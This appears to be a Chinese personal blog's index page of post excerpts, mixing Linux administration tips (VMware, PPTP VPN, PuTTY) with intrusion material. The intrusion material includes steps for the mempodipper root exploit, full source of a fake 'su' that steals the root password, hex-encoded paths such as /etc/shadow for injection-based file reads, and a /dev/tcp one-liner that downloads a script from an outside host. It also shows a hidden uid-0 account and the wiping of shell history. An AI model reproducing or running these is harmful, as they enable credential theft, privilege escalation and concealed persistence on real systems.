Chinadu's Blog

1.下载漏洞利用文件

wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c

2.编译

gcc mempodipper.c -o mempodipper

3.执行前察看

netcat@netcat:~$ uname -r
3.0.0-12-generic
netcat@netcat:~$ cat /etc/issue
Ubuntu 11.10 n l

netcat@netcat:~$ uname -a
Linux netcat 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
netcat@netcat:~$ id
uid=1000(netcat) gid=1000(netcat) 组=1000(netcat),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare)
阅读全文...

#./vmware-install.pl
bash:./vmware-install.pl :/usr/bin/perl:bad interpreter:No such file or directory.
如果出现这个提示，则表明系统没有安装Perl环境，可以使用如下命令来提供Perl支持：
#yum groupinstall "Perl Support"

Searching for GCC...
The path "" is not valid path to the gcc binary.
Would you like to change it? [yes]
如果出现这个就表明gcc没有安装

yum install gcc gcc-c++ automake make
将编译环境一次装好
阅读全文...

/*

/*

* kpr-fakesu.c V0.9beta167

* by koper

*

* Setting up:

* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c

* admin@host:~$ mv .su /var/tmp/.su

* admin@host:~$ cp .bash_profile .wgetrc

* admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile

* admin@host:~$ logout

* *** LOGIN ***

* admin@host:~$ su

* Password:

* su: Authentication failure

* Sorry.

* admin@host:~$ su

* Password:

* root@host:~# logout

* admin@host:~$ cat /var/tmp/.pwds

* root:dupcia17

* admin@host:~$

*

* /bin/su sends various failure information depending on the OS ver.

* Please modify the source to make it "fit" <img src="http://www.4shell.org/wp-content/uploads/images/2011/11/1323384Sm.gif" alt=";)">

*

*/

#include

#include

#include

main(int argc, char *argv[]){

FILE *fp;

char *user;

char *pass;

char filex[100];

char clean[100];

sprintf(filex,"/var/tmp/.pwds");

sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/test/.wgetrc /home/test/.bash_profile");

if(argc==1) user="root";

if(argc==2) user=argv[1];

if(argc>2){

if(strcmp(argv[1], "-l")==0)

user=argv[2];

else user=argv[1];}

fprintf(stdout,"assword: ");

pass=getpass ("");

system("sleep 3");

fprintf(stdout,"su: Authentication failurenSorry.n");

if ((fp=fopen(filex,"w")) != NULL)

{

fprintf(fp, "%s:%sn", user, pass);

fclose(fp);

}

system(clean);

system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

}

以下三个都是比较经典的backdoor：

阅读全文...

allinone: Linux pentest tools from HUC China

A great app level backdoor in Linux . Very useful while doing Linux pentest.

Written by Lion [HUC(Hack Union of China)] at year 2002

The source code has some errors in packetstromsecurity’s archive; Now all fixed by akshell(http://www.linuxpentest.com)
阅读全文...

使用VMware经常会遇到预先为其分配的硬盘空间不够了，这时候就需要多划分一些硬盘空间给VMware使用，按照如下方法实现扩容：

环境：windows xp、VMware、fedora 10
步骤：1、在cmd窗口中输入：vmware-vdiskmanager -x 50GB "G:\CenOS.vmdk"
参数"-x"指定扩容后整个空间大小（包含现在正在使用的），"G:\CentOSvmdk" 指定需要
扩容的虚拟机磁盘文件。
此命令成功执行后已经为虚拟机分配空间了，但是内装的linux系统还不可使用。

2、进入虚拟机内装的LINUX系统，以root用户执行：
阅读全文...

/etc/passwd 0x2F6574632F706173737764
/etc/shadow 0x2F6574632F736861646F77
/etc/issue 0x2F6574632F6973737565
/etc/fstab 0x2F6574632F6673746162
/etc/host.conf 0x2F6574632F686F73742E636F6E66
/etc/motd 0x2F6574632F6D6F7464
/etc/ld.so.conf 0x2F6574632F6C642E736F2E636F6E66
/etc/sysconfig/network-scripts/ifcfg-eth0 0x2F6574632F737973636F6E6669672F6E6574776F726B2D736372697074732F69666366672D65746830
/etc/sysconfig/network-scripts/ifcfg-eth1 0x2F6574632F737973636F6E6669672F6E6574776F726B2D736372697074732F69666366672D65746831
/var/www/htdocs/index.php 0x2F7661722F7777772F6874646F63732F696E6465782E706870
/var/www/conf/httpd.conf 0x2F7661722F7777772F636F6E662F68747470642E636F6E66
/var/www/htdocs/index.html 0x2F7661722F7777772F6874646F63732F696E6465782E68746D6C
/var/httpd/conf/php.ini 0x2F7661722F68747470642F636F6E662F7068702E696E69
/var/httpd/htdocs/index.php 0x2F7661722F68747470642F6874646F63732F696E6465782E706870
/var/httpd/conf/httpd.conf 0x2F7661722F68747470642F636F6E662F68747470642E636F6E66
/var/httpd/htdocs/index.html 0x2F7661722F68747470642F6874646F63732F696E6465782E68746D6C
/var/httpd/conf/php.ini 0x2F7661722F68747470642F636F6E662F7068702E696E69
/var/www/index.html 0x2F7661722F7777772F696E6465782E68746D6C
/var/www/index.php 0x2F7661722F7777772F696E6465782E706870
/opt/www/conf/httpd.conf 0x2F6F70742F7777772F636F6E662F68747470642E636F6E66
/opt/www/htdocs/index.php 0x2F6F70742F7777772F6874646F63732F696E6465782E706870
/opt/www/htdocs/index.html 0x2F6F70742F7777772F6874646F63732F696E6465782E68746D6C
/usr/local/apache/htdocs/index.html 0x2F7573722F6C6F63616C2F6170616368652F6874646F63732F696E6465782E68746D6C
/usr/local/apache/htdocs/index.php 0x2F7573722F6C6F63616C2F6170616368652F6874646F63732F696E6465782E706870
/usr/local/apache2/htdocs/index.html 0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F696E6465782E68746D6C
/usr/local/apache2/htdocs/index.php 0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F696E6465782E706870
/usr/local/httpd2.2/htdocs/index.php 0x2F7573722F6C6F63616C2F6874747064322E322F6874646F63732F696E6465782E706870
/usr/local/httpd2.2/htdocs/index.html 0x2F7573722F6C6F63616C2F6874747064322E322F6874646F63732F696E6465782E68746D6C
/tmp/apache/htdocs/index.html 0x2F746D702F6170616368652F6874646F63732F696E6465782E68746D6C
/tmp/apache/htdocs/index.php 0x2F746D702F6170616368652F6874646F63732F696E6465782E706870
/etc/httpd/htdocs/index.php 0x2F6574632F68747470642F6874646F63732F696E6465782E706870
/etc/httpd/conf/httpd.conf 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66
/etc/httpd/htdocs/index.html 0x2F6574632F68747470642F6874646F63732F696E6465782E68746D6C
/www/php/php.ini 0x2F7777772F7068702F7068702E696E69
/www/php4/php.ini 0x2F7777772F706870342F7068702E696E69
/www/php5/php.ini 0x2F7777772F706870352F7068702E696E69
/www/conf/httpd.conf 0x2F7777772F636F6E662F68747470642E636F6E66
/www/htdocs/index.php 0x2F7777772F6874646F63732F696E6465782E706870
/www/htdocs/index.html 0x2F7777772F6874646F63732F696E6465782E68746D6C
阅读全文...

1.无wget nc等下载工具时下载文件
exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat< &5 > c.pl

2.Linux添加uid为0的用户
useradd -o -u 0 cnbird

3.bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null
阅读全文...

准备:

cat /etc/issue //看版本

如果dns没设置,就编辑/etc/resolv.conf 改DNS

如果主机不能上网就试着防火墙里允许通过

下载程序:

cd /tmp
wget http://poptop.sourceforge.net/yum/stable/packages/dkms-2.0.17.5-1.noarch.rpm
wget http://poptop.sourceforge.net/yum/stable/packages/kernel_ppp_mppe-1.0.2-3dkms.noarch.rpm
根据第一步的返回情况,下载对应版本的rpm

如果是Centos 4版本的
wget http://poptop.sourceforge.net/yum/stable/packages/ppp-2.4.3-7.rhel4.i386.rpm
wget http://poptop.sourceforge.net/yum/stable/packages/pptpd-1.3.4-1.rhel4.i386.rpm

CentOS 5的
wget http://poptop.sourceforge.net/yum/stable/packages/ppp-2.4.4-3.1.rhel5.i386.rpm
wget http://poptop.sourceforge.net/yum/stable/packages/pptpd-1.3.4-1.rhel5.1.i386.rpm

安装程序:

下载回来这4个文件后安装 [按顺序]

rpm -ivh dkms-2.0.17.5-1.noarch.rpm
rpm -ivh kernel_ppp_mppe-1.0.2-3dkms.noarch.rpm

Centos 4:
rpm -Uvh ppp-2.4.3-7.rhel4.i386.rpm
rpm -ivh pptpd-1.3.4-1.rhel4.i386.rpm

CentOS 5:
rpm -Uvh ppp-2.4.4-3.1.rhel5.i386.rpm
rpm -ivh pptpd-1.3.4-1.rhel5.1.i386.rpm

配置pptpd:

echo localip 10.12.12.1 >>/etc/pptpd.conf
echo remoteip 10.12.12.100-254 >>/etc/pptpd.conf

加一个pptpd用户

echo open pptpd open 10.12.12.101 >>/etc/ppp/chap-secrets

临时启用nat (允许访问内网和外网)

echo 1 >/proc/sys/net/ipv4/ip_forward
长期调整的话..可以编辑/etc/sysctl.conf这个文件中的net.ipv4.ip_forward = ???

防火墙设置:

iptables -t nat -F
iptables -t nat -A POSTROUTING -s 10.12.12.0/24 -j SNAT --to 10.12.12.1
service iptables save
防火墙允许通过. 也可以service iptables stop

启动或停止服务:

启动
service pptpd start

停止
service pptpd stop

Exploit Title: kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images
# Date: 2010
# Author: SA H4x0r
# Version: 2.6.18-20 , 2.6.32-24 Kernel 2010 i686 And x86_64 local Private Cant See Images
# Tested on: Linux System
# Link : Cant See Links
# Greetz : All Friends And v4-Team

阅读全文...

#————————————————————————
# 服务器信息查看
#————————————————————————

1.查看版本，内核
cat /etc/issue

2.查看cpu,mem
grep “model name” /proc/cpuinfo
grep MemTotal /proc/meminfo
free

3. 内存的插槽数,已经使用多少插槽.每条内存多大，已使用内存多大
dmidecode | grep -P -A 5 “Memorys+Device” | grep Size | grep -v Range

Size: 2048 MB
Size: No Module Installed
Size: No Module Installed
Size: No Module Installed

4. 支持的最大内存容量
dmidecode | grep -P ‘Maximums+Capacity’
Maximum Capacity: 64 GB

阅读全文...

对于经常在windows下远程ssh到linux的用户而言，putty可能是你最好的选择。
可是缺省情况下，putty对中文的支持却让人不敢恭维，如果远程linux的locale设置为zh_CN.*(bg2312,gbk,utf8等等），显示就是乱码。
经研究发现，其实putty的中文支持还是很好的，呵呵

阅读全文...